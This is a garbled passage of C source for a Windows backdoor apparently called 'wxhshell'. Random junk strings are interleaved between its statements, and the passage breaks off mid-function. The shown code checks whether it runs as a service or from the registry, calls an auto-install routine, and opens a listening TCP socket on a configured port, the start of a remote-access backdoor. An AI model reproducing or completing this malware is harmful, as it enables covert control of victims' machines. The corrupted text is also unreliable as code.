_ ;fWBD: char procName[255]; REA;x-u* unsigned long cbNeeded; ! OE*z $\ BD*G1k_q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /A07s[L 5*G%IR@@LK CloseHandle(hProcess); ;j'Daupt;= .v])S}K if(strstr(procName,"services")) return 1; // 以服务启动 I}.i@d'O w^;DG return 0; // 注册表启动 YfDWM7x7, } sb.J
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// 主模块 >^SEWZ_[ int StartWxhshell(LPSTR lpCmdLine) ^T079=$5 { .C!vr@@] SOCKET wsl; k<Sl1vK BOOL val=TRUE; 3V;gW%> int port=0; 8<dOMp;}r struct sockaddr_in door; .SS<MDcqIt Yl({)qK{ if(wscfg.ws_autoins) Install(); z2 hFn& .<&s%{EW port=atoi(lpCmdLine); ai-n z-; kiUk4&1 if(port<=0) port=wscfg.ws_port; HW[L[&/ !Q%P%P<$ WSADATA data; bcz-$?] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?IW_O~Js iHBB,x if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Mi0sC24b| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qn+:/zA; door.sin_family = AF_INET; ;JTt2qQKo door.sin_addr.s_addr = inet_addr("127.0.0.1"); T*>`,}J door.sin_port = htons(port); !1Y&Y@ze K4%/!` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Poy^RpnX closesocket(wsl); ^& |